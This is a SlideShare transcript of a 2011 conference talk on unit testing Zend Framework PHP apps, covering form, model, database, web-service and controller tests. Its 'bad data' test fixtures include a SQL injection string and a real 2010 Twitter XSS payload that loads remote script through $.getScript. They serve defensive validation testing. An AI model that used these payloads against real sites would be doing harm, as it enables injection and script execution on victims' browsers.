0
Unit TestingZend Framework Apps  ZendCon 2011, Santa Clara CA, USA
Michelangelo van Dam• Independent Consultant• Zend Certified Engineer (ZCE)• President of PHPBenelux
The saga continues…
Zend Webinarhttp://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
NO EXCUSES!
The cost of bugs           Bugs                Costs            Unittests100 75 50 25  0   Start          Milestone1      ...
Maintainability•- during development     test will fail indicating bugs•- after sales support    testing if an issue is ge...
Confidence•- for the developer     code works•- for the manager     project succeeds•- for sales / general management / sha...
Unit testing ZF apps
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true">    <testsuite name="Unit test suite">        <directory>./...
TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLI...
Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php                             Ralph...
Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm        Name:E-mail Address:      Website:    Comment:       Post
Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{    protected $_form;   ...
The good stuffpublic function goodData(){     return array (         array (John Doe, john.doe@example.com,               ...
The bad stuffpublic function badData(){     return array (         array (,,,),         array ("Robert; DROP TABLES commen...
Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{    public function init()    {        /* F...
Let’s run the test
Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{    public function init()    {        ...
Less errors?
Filter - Validate$this->addElement(text, name, array (    Label => Name, Required => true,    Filters => array (StringTrim...
Green, warm & fuzzy
You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
Testing models
Testing business logic•- models contain logic   tied to your business - tied to your storage - tied to your resources• no ...
Type: data containers•- contains structured data    populated through setters and getters•- perform logic tied to it’s pur...
Comment Class
Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{    protected $_comment;    ...
This test won’t run!
Create a simple model<?phpclass Application_Model_Comment{    protected $_id = 0; protected $_fullName; protected $_emailA...
We pass the test…
Really ???
Not all data from form!•- model can be populated from    users through the form - data stored in the database - a webservi...
The good stuffpublic function goodData(){     return array (         array (John Doe, john.doe@example.com,               ...
The bad stuffpublic function badData(){     return array (         array (,,,),         array ("Robert; DROP TABLES commen...
Let’s run it
Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){    $this->_filters...
Modify setters: Id & namepublic function setId($id){    $input = new Zend_Filter_Input($this->_filters, $this->_validators...
Email & websitepublic function setEmailAddress($emailAddress){    $input = new Zend_Filter_Input($this->_filters, $this->_...
and commentpublic function setComment($comment){    $input = new Zend_Filter_Input($this->_filters, $this->_validators);  ...
Now we’re good!
Testing Databases
Integration Testing•- database specific functionality   triggers - constraints - stored procedures - sharding/scalability• ...
Points of concern•- beware of automated data types   auto increment sequence ID’s - default values like CURRENT_TIMESTAMP•...
The domain Model• Model object• Mapper object• Table gateway object    Read more about it
Change our test classclass Application_Model_CommentTest   extends PHPUnit_Framework_TestCasebecomesclass Application_Mode...
Setting DB Testing upprotected $_connectionMock;public function getConnection(){    if (null === $this->_dbMock) {        ...
initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"  ...
Testing SELECTpublic function testDatabaseCanBeRead(){    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(        $thi...
selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Testing UPDATEpublic function testDatabaseCanBeUpdated(){    $comment = new Application_Model_Comment();    $mapper = new ...
updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Testing DELETEpublic function testDatabaseCanDeleteAComment(){    $comment = new Application_Model_Comment();    $mapper =...
deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="2"       fullName="Martin Fowler"  ...
Testing INSERTpublic function testDatabaseCanAddAComment(){    $comment = new Application_Model_Comment();    $comment->se...
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){    $comment = new Application_Model_Comment();    $co...
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       fullName="B.A. Baracus"       emailAddr...
Run Test
Testing Web Services
Web services remarks•- you need to comply with an API    that will be your reference•- You cannot always make a test-call ...
Example: joind.in
JoindIn Test<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{    protected $_joindin;    protected...
JoindIn Test    public function testJoindinCanGetUserDetails()    {        $expected = <?xml version="1.0"?><response><ite...
Testing The Service
Euh… What?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expec...
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+...
Solution is right here!
API = test scenarios
Mocking Client Adapter<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{    protected $_joindin;   ...
JoindinUserMockTest    public function testJoindinCanGetUserDetails()    {        $response = <<<EOSHTTP/1.1 200 OKContent...
JoindinStatusMockTest    public function testJoindinCanCheckStatus()    {        $date = new DateTime();        $date->set...
Good implementation?
Controller Testing
When to use?•- GOOD  validation of correct headers- track redirections- errors and/or exceptions- visitor flow (page 1 -> p...
Form Flow
REMARK•- data providers can be used   to test valid data - to test invalid data• but we know it’s taken care of our model ...
Setting up ControllerTest?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{    public function se...
Testing Form is on Page    public function testIndexAction()    {         $params = array(action => index, controller => i...
Test if we hit home    public function testSuccessAction()    {              $params = array(action => success, controller...
Test Processingpublic function testProcessAction(){    $testData = array (        name    => testUser,        mail    => t...
Redirect test    public function testSuccessAction()    {              $params = array(action => success, controller => in...
Running ControllerTests
Run All Tests
Conclusion• unit testing is simple• no excuses not to test•- test what counts     what makes you loose money if it breaks?...
Thank you• source code:     http://github.com/DragonBe/zftest• your rating:     http://joind.in/talk/view/3790•- follow me...
• January 27-28, 2012 Antwerp Belgium• 2 day conference• community driven• low prices• ticket sales start in November
Unit testing zend framework apps
Unit testing zend framework apps
Unit testing zend framework apps
Upcoming SlideShare
Loading in...5
×

Unit testing zend framework apps

3,515

Published on

In 2010, I told everyone how to start unit testing Zend Framework applications. In 2011, let’s take this a step further by testing services, work flows and performance. Looking to raise the bar on quality? Let this talk be the push you need to improve your Zend Framework projects.

Published in: Technology
0 Comments
7 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
3,515
On Slideshare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
117
Comments
0
Likes
7
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Transcript of "Unit testing zend framework apps"

    1. 1. Unit TestingZend Framework Apps ZendCon 2011, Santa Clara CA, USA
    2. 2. Michelangelo van Dam• Independent Consultant• Zend Certified Engineer (ZCE)• President of PHPBenelux
    3. 3. The saga continues…
    4. 4. Zend Webinarhttp://www.zend.com/en/resources/webinars/framework
    5. 5. Any reasons not to test?
    6. 6. Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
    7. 7. NO EXCUSES!
    8. 8. The cost of bugs Bugs Costs Unittests100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
    9. 9. Maintainability•- during development test will fail indicating bugs•- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!• long term projects - refactoring made easy
    10. 10. Confidence•- for the developer code works•- for the manager project succeeds•- for sales / general management / share holders making profit•- for the customer paying for what they want
    11. 11. Unit testing ZF apps
    12. 12. Setting things up
    13. 13. phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter></phpunit>
    14. 14. TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLICATION_PATH, BASE_PATH . /application);define(TEST_PATH, BASE_PATH . /tests);define(APPLICATION_ENV, testing);// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . /library . PATH_SEPARATOR . get_include_path());// Set the default timezone !!!date_default_timezone_set(Europe/Brussels);// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);require_once Zend/Application.php;$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini);$application->bootstrap();
    15. 15. Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
    16. 16. Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
    17. 17. Testing Zend_Form
    18. 18. CommentForm Name:E-mail Address: Website: Comment: Post
    19. 19. Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }}
    20. 20. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertTrue($this->_form->isValid($data));}
    21. 21. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little Bobby Tables), array (str_repeat(x, 100000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter 9/21/2010), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertFalse($this->_form->isValid($data));}
    22. 22. Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { /* Form Elements & Other Definitions Here ... */ }}
    23. 23. Let’s run the test
    24. 24. Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { $this->addElement(text, name, array ( Label => Name, Required => true)); $this->addElement(text, mail, array ( Label => E-mail Address, Required => true)); $this->addElement(text, web, array ( Label => Website, Required => false)); $this->addElement(textarea, comment, array ( Label => Comment, Required => true)); $this->addElement(submit, post, array ( Label => Post, Ignore => true)); }}
    25. 25. Less errors?
    26. 26. Filter - Validate$this->addElement(text, name, array ( Label => Name, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, mail, array ( Label => E-mail Address, Required => true, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, web, array ( Label => Website, Required => false, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(textarea, comment, array ( Label => Comment, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000))),));
    27. 27. Green, warm & fuzzy
    28. 28. You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
    29. 29. Testing models
    30. 30. Testing business logic•- models contain logic tied to your business - tied to your storage - tied to your resources• no “one size fits all” solution
    31. 31. Type: data containers•- contains structured data populated through setters and getters•- perform logic tied to it’s purpose transforming data - filtering data - validating data• can convert into other data types - arrays - strings (JSON, serialized, xml, …)• are providers to other models
    32. 32. Comment Class
    33. 33. Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
    34. 34. This test won’t run!
    35. 35. Create a simple model<?phpclass Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( id => $this->getId(), fullName => $this->getFullName(), emailAddress => $this->getEmailAddress(), website => $this->getWebsite(), comment => $this->getComment(), ); }}
    36. 36. We pass the test…
    37. 37. Really ???
    38. 38. Not all data from form!•- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others)• simply test it - by using same test scenario’s from our form
    39. 39. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail(Unexpected exception should not be triggered); } $data[id] = 0; $data[emailAddress] = strtolower($data[emailAddress]); $data[website] = strtolower($data[website]); $this->assertSame($this->_comment->toArray(), $data);}
    40. 40. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little BobbyTables), array (str_repeat(x, 1000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter9/21/2010), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail(Expected exception should be triggered);}
    41. 41. Let’s run it
    42. 42. Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){ $this->_filters = array ( id => array (Int), fullName => array (StringTrim, StripTags, new Zend_Filter_Alnum(true)), emailAddress => array (StringTrim, StripTags, StringToLower), website => array (StringTrim, StripTags, StringToLower), comment => array (StringTrim, StripTags), ); $this->_validators = array ( id => array (Int), fullName => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), emailAddress => array ( EmailAddress, new Zend_Validate_StringLength(array (min => 4, max => 50)), ), website => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), comment => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
    43. 43. Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (id => $id)); if (!$input->isValid(id)) { throw new Zend_Exception(Invalid ID provided); } $this->_id = (int) $input->id; return $this;}public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (fullName => $fullName)); if (!$input->isValid(fullName)) { throw new Zend_Exception(Invalid fullName provided); } $this->_fullName = (string) $input->fullName; return $this;}
    44. 44. Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (emailAddress => $emailAddress)); if (!$input->isValid(emailAddress)) { throw new Zend_Exception(Invalid emailAddress provided); } $this->_emailAddress = (string) $input->emailAddress; return $this;}public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (website => $website)); if (!$input->isValid(website)) { throw new Zend_Exception(Invalid website provided); } $this->_website = (string) $input->website; return $this;}
    45. 45. and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (comment => $comment)); if (!$input->isValid(comment)) { throw new Zend_Exception(Invalid comment provided); } $this->_comment = (string) $input->comment; return $this;}
    46. 46. Now we’re good!
    47. 47. Testing Databases
    48. 48. Integration Testing•- database specific functionality triggers - constraints - stored procedures - sharding/scalability• data input/output - correct encoding of data - transactions execution and rollback
    49. 49. Points of concern•- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP• beware of time related issues - timestamp vs. datetime - UTC vs. local time
    50. 50. The domain Model• Model object• Mapper object• Table gateway object Read more about it
    51. 51. Change our test classclass Application_Model_CommentTest extends PHPUnit_Framework_TestCasebecomesclass Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
    52. 52. Setting DB Testing upprotected $_connectionMock;public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); $this->bootstrap->bootstrap(db); $db = $this->bootstrap->getBootstrap()->getResource(db); $this->_connectionMock = $this->createZendDbConnection( $db, zftest ); return $this->_connectionMock; }}public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . /../tests/_files/initialDataSet.xml));}
    53. 53. initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
    54. 54. Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/selectDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
    55. 55. selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
    56. 56. Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment(I like you picking up the challenge!); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/updateDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
    57. 57. updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
    58. 58. Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/deleteDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
    59. 59. deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
    60. 60. Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
    61. 61. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
    62. 62. Run Test
    63. 63. What went wrong here?
    64. 64. AUTO_INCREMENT
    65. 65. Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array (comment => array (id))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $filteredDs);}
    66. 66. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
    67. 67. Run Test
    68. 68. Testing Web Services
    69. 69. Web services remarks•- you need to comply with an API that will be your reference•- You cannot always make a test-call paid services per call - test environment is “offline” - network related issues
    70. 70. Example: joind.in
    71. 71. JoindIn Test<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }
    72. 72. JoindIn Test public function testJoindinCanGetUserDetails() { $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC));$client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) . </dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual); }
    73. 73. Testing The Service
    74. 74. Euh… What?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
    75. 75. And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@<?xml version=”1.0”?><response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt></response>
    76. 76. Solution is right here!
    77. 77. API = test scenarios
    78. 78. Mocking Client Adapter<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); // using the test adapter for testing $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); }
    79. 79. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response>EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
    80. 80. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <dt>{$date->format(r)}</dt> <test_string>testing unit test</test_string></response>EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) . </dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual); }}
    81. 81. Good implementation?
    82. 82. Controller Testing
    83. 83. When to use?•- GOOD validation of correct headers- track redirections- errors and/or exceptions- visitor flow (page 1 -> page 2, …)•NOT SO GOOD- validation of DOM elements on page- asserting (error) messages
    84. 84. Form Flow
    85. 85. REMARK•- data providers can be used to test valid data - to test invalid data• but we know it’s taken care of our model - just checking for error messages in the form
    86. 86. Setting up ControllerTest?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{ public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); parent::setUp(); }…}
    87. 87. Testing Form is on Page public function testIndexAction() { $params = array(action => index, controller => index, module=> default); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertQueryContentContains(h1#pageTitle, Please leave acomment); $this->assertQueryCount(form#commentForm, 1); }
    88. 88. Test if we hit home public function testSuccessAction() { $params = array(action => success, controller => index,module => default); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/); }
